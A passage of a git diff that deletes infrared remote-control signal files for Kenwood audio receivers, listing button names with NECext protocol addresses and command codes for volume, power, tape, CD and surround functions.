VOL_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_CTRL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MAIN_VOLUME_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOL_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: RCVR_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CD/AUDIO_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: AUDIO_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CDOE2_POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE_5_POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE2_POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE5_POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: TUNER_DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: 1-10/11-20 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9F 00 00 00 -# -name: PHONO_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C0 00 00 00 -# -name: PHONO_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C1 00 00 00 -# -name: PHONO_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C1 00 00 00 -# -name: EQ_M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C5 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C5 00 00 00 -# -name: EQUALIZER_M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C5 00 00 00 -# -name: REAR_LEVEL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C6 00 00 00 -# -name: AUDIO_SKIP_REV_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C6 00 00 00 -# -name: SURROUND_REAR -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: REAR_LEVEL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: AUDIO_SKIP_FWD>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_STOP_(BAND) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD/LD_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_PLAY_>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD/LD_PLAY/PA._>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_<<_(TUNING_<<) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD/LD_SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: CD_>>(TUNING_>>) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: CD/LD_SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: TAPEA_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPE_A_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPE_A_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPE_A_PLAY_REV -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: A_PLAY_R._< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPE_A_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPE_A_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: A_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPEA_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPE_A_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_<<_(TUNING_<<) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPE_A_REW_I<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: A_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPE_A_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_>>_(TUNING_>>) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPE_A_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPE_A_FFWD_>>I -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: A_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: TAPEA_PAUSE_(AUTO) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: TAPE_A_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: A_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: TAPEA_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPE_A_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEA_STOP_(BAND) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: A_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEA_RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: TAPEA_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: TAPE_A_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: TAPE_A_RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: A_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: SURR_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: BYPASS_SURROUND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: TAPEB_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: PLAY_REV_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_R.PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPE_B_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPE_B_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPE_B_PLAY_REV -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: B_PLAY_R._< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPE_B_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_PLAY_(P.CALL) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPE_B_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: B_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPE_B_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_<<_(TUNING_<<) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPE_B_REW_I<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: B_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPE_B_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_>>_(TUNING_>>) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPE_B_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPE_B_FFWD_>>I -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: B_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPEB_PAUSE_(AUTO) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPE_B_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: B_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPEB_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPE_B_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_STOP_(BAND) -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: B_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPEB_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPEB_REC/ARM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPE_B_REC/ARM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPE_B_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: TAPE_B_RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: B_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 -# -name: SURR.MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 -# -name: MODE_SURROUND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir deleted file mode 100644 index 99e5a70d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir +++ /dev/null @@ -1,578 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: VIDEO_2_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: DSS_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 02 00 00 00 -# -name: CENTER- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0A 00 00 00 -# -name: CENTER+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 55 00 00 00 -# -name: RDS_DISPLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 58 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 58 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 5F 00 00 00 -# -name: T1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: T9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: T10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: T11 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: T12 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: INPUT_SEL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: PHONO_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: TUNER_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: AV_AUX -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: AV-AUX_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: AV_AUX -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: MD/TAPE1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE_1_MD_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VIDEO_1_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: SYS._POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE4_POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE1_POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE1_POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE3_POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE3_POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CODE4_POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: SURROUND- -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C6 00 00 00 -# -name: SURROUND+ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: LISTEN_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 -# -name: DSP_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir deleted file mode 100644 index b8cd866f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: PRO_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: MIDNIGHT_MODE- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 04 00 00 00 -# -name: PRESENCE_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 04 00 00 00 -# -name: MIDNIGHT_MODE_+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: PRESENCE_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: AUDIO_STOP_[] -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: AM/FM_PRESET_- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 06 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 06 00 00 00 -# -name: AM/FM_PRESET+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 07 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 07 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0C 00 00 00 -# -name: 3STEREO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0E 00 00 00 -# -name: 3_STEREO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0E 00 00 00 -# -name: FREQUENCY- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 16 00 00 00 -# -name: RCVR_TUNING_< -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 16 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 16 00 00 00 -# -name: FREQUENCY+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 17 00 00 00 -# -name: RCVR_TUNING_> -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 17 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 17 00 00 00 -# -name: AM/FM_AUTO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 18 00 00 00 -# -name: RCVR_AUTO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 18 00 00 00 -# -name: AUTO/MONO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 18 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 18 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 18 00 00 00 -# -name: ARENA -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 44 00 00 00 -# -name: STADIUM_1 -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 46 00 00 00 -# -name: CATHEDRAL -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 48 00 00 00 -# -name: THEATRE_1 -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 49 00 00 00 -# -name: N.B. -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 4B 00 00 00 -# -name: 